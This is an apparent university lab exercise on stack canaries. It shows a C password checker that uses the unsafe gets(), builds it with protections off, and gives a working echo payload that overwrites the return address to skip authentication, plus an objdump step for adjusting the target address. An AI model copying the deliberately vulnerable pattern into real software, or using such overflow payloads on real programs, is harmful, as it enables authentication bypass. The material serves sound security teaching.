Task 1: Canary at work

Among other things, stack protector adds a random canary value that protects the old rbp address and the function return address. These two addresses determine the stack frame and the address to jump to, when function returns.

A vulnerable program

Consider again one of the examples we have studied in class that you can find in testbed at /home/rookie/StackOverflow/stack-pwd.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int checkpassword() {
	char s[16];

	printf("Insert password: ");
	fflush(stdout);
	gets(s); // reads the user password, no check on length!
	if (strcmp(s, "sEgr3t0") == 0) {
		return 1;
	} else {
		return 0;
	}
}

int main(int argc, char *argv[]) {
	if (checkpassword()) {
		printf("Authenticated!\n");
		exit(EXIT_SUCCESS);
	} else {
		printf("Wrong password!\n");
		exit(EXIT_FAILURE);
	}
}

Explanation: the program is subject to buffer overflow: the gets(s) function does not check the length of the input and overflows the buffer boundaries. Since s is the only variable declared in function checkpassword, the overflows reaches the end of the stack frame and overwrites the old rbp and the return address.

Attack with no stack protector

In order to see the effect of the overflow when stack protector and randomisation of program/library are off we compile the program disabling them as follows:

$ gcc stack-pwd.c -o stack-pwd -fno-stack-protector --no-pie --static
 stack-pwd.c: In function 'checkpassword':
 ...
 stack-pwd.c:(.text+0x24): warning: the `gets' function is dangerous and should not be used. 

The warning on gets is due to the fact that this function is deprecated for security reasons and should not be used for new applications. However it is still supported in libc for legacy programs.

NOTE: In order to reproduce the exact attacks use the pre-compiled binaries on testbed contained in /home/rookie/StackOverflow . Re-compilation might be different if gcc has been updated in the meanwhile. See below for adjusting the attack to newly recompiled binaries.

The attack we have seen in class fills up the buffer with 24 A’s and overwrites the old rbp (8 bytes). The next 8 bytes contain the address 0x400bc4 written little-endian. This address corresponds to the point where printf("Authenticated!\n"); is executed. Intuitively, the attack skips the if and jumps directly into the branch where password is accepted:

$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\xc4\x0b\x40\x00\x00\x00\x00\x00" | ./stack-pwd 
 Insert password: Authenticated! 

In you recompiled the program and the above attack does not work, you can fix it by searching for the correct target address as follows (or using gdb):

$ objdump -M intel -ds ./stack-pwd | grep -A 4 'call.*checkpassword'
4019cb: e8 85 ff ff ff call 401955 <checkpassword>
4019d0: 85 c0 test eax,eax
4019d2: 74 14 je 4019e8 <main+0x35>
4019d4: bf 2a f0 47 00 mov edi,0x47f02a
4019d9: e8 e2 8c 00 00 call 40a6c0 <_IO_puts>

The above command disassemble the executable and search for a line containing call and checkpassword then printing the next 4 lines (thanks to option -A 4). From the output we take the new target address 4019d4 that we reverse as \xd4\x19\x40\x
00\x00\x00\x00\x00
due to endianness, in order to adjust the attack payload:

$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\xd4\x19\x40\x
00\x00\x00\x00\x00" | ./stack-pwd
Insert password: Authenticated!

Stack protector prevents the attack

If the above attack is clear, now you can try to recompile the program without deactivating the stack protector (with no -fno-stack-protector option) to see how the attack is prevented. The program detects the attack attempt and exits with a message.

The last line (a single word) printed on the terminal is the password for Task 2!